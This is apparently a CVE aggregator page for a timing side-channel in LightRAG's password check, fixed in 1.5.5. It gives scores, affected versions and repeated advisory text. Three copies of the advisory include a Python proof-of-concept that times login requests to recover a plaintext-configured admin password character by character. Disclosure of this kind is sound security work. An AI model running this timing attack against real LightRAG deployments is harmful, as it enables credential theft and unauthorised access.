Every CVE Search/ Get API key

CVE-2026-85725

LightRAG: Plaintext Passwords Compared Without Constant-Time Function

5.9 MediumFix available

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
High
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
None
Availability
None

Exploit likelihood

0.45%Unchanged since Sep 23, 2026
90%50%10%1%

What each source reports

CVE List Score used 5.9

LightRAG: Plaintext Passwords Compared Without Constant-Time Function

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Record
CVE-2026-85725
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-208
Updated
2026-11-02
EUVDEUVD-2026-84546 5.9

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Record
EUVD-2026-84546
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-c759-cx9p-mrwq 5.9

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Record
GHSA-c759-cx9p-mrwq
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-208
Updated
2026-11-02
NVD 5.9

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Record
CVE-2026-85725
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-208
Updated
2026-11-02
OSV 5.9

LightRAG: Plaintext Passwords Compared Without Constant-Time Function

LightRAG provides simple and fast retrieval-augmented generation. Prior to 1.5.5, verify_password in lightrag/api/passwords.py compares plaintext AUTH_ACCOUNTS password values with Python's == operator. The comparison can return after the first mismatching byte, creating response-time differences based on password length and matching prefixes. A network attacker with sufficiently low-latency access can repeatedly query the /login endpoint and use the timing oracle to recover a plaintext-configured password character by character. Deployments using bcrypt-prefixed password values are not affected by this comparison path. This issue is fixed in version 1.5.5.

Record
CVE-2026-85725
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-208
Updated
2026-11-02
OSVGHSA-c759-cx9p-mrwq 5.9

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Record
GHSA-c759-cx9p-mrwq
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Weakness
CWE-208
Updated
2026-11-02
OSVPYSEC-2026-4061 5.9

lightrag-hku: Plaintext Passwords Compared Without Constant-Time Function

Summary

When plaintext passwords are stored in AUTH_ACCOUNTS, the comparison uses Python's == operator which is not constant-time. An attacker with low-latency access can exploit timing differences to recover the password character by character.

Details

# lightrag/api/passwords.py:13-26
def verify_password(plain_password: str, stored_password: str) -> bool:
    if stored_password.startswith("{bcrypt}"):
        ...
        return bcrypt.checkpw(...)    # constant-time  OK

    return stored_password == plain_password  # NOT constant-time  VULN
    #   Python == short-circuits on first mismatched byte
    #   Timing leaks: password length + individual characters

PoC

# Timing oracle: recover password char-by-char
import httpx, time, string

TARGET = "http://<TARGET>:9621/login"
USER   = "admin"

def measure(pwd: str) -> float:
    t = time.perf_counter()
    httpx.post(TARGET, data={"username": USER, "password": pwd})
    return time.perf_counter() - t

known = ""
for _ in range(32):
    best = max(string.printable,
               key=lambda c: sum(measure(known+c+"A"*20) for _ in range(10)))
    known += best
    print(f"Recovered: {known}")

Impact

Observable timing discrepancy. Attackers with low-latency access can recover plaintext passwords character by character without triggering brute-force limits. Only affects deployments using unhashed passwords in AUTH_ACCOUNTS.

Record
PYSEC-2026-4061
CVSS 3.1
5.9 MediumCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
lightrag-hku
PyPI
through 1.5.4
1.5.5
lightrag-hku
PyPI
before 1.5.5, plus listed versions
0.0.20.0.30.0.40.0.50.0.6
Show 45 moreShow less
0.0.70.0.80.0.91.0.01.0.11.0.31.0.51.0.61.0.81.0.91.1.01.1.11.1.21.1.31.1.41.1.51.1.61.1.71.2.11.2.21.2.31.2.51.2.61.3.01.3.11.3.21.3.31.3.41.3.51.3.61.3.71.3.81.3.91.4.01.4.11.4.101.4.111.4.11rc21.4.121.4.12rc11.4.131.4.13rc11.4.141.4.151.4.16
1.5.5

History

History
RecordedChangedSources
first indexedCVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-85725 is a medium vulnerability (CVSS 5.9) in Hkuds Lightrag, published September 22, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.45%, the 38th percentile. Fixed in lightrag-hku 1.5.5.

References

This page doesn't list everything

Left out here: 39 versions. The JSON record has them.

MoveEnter Open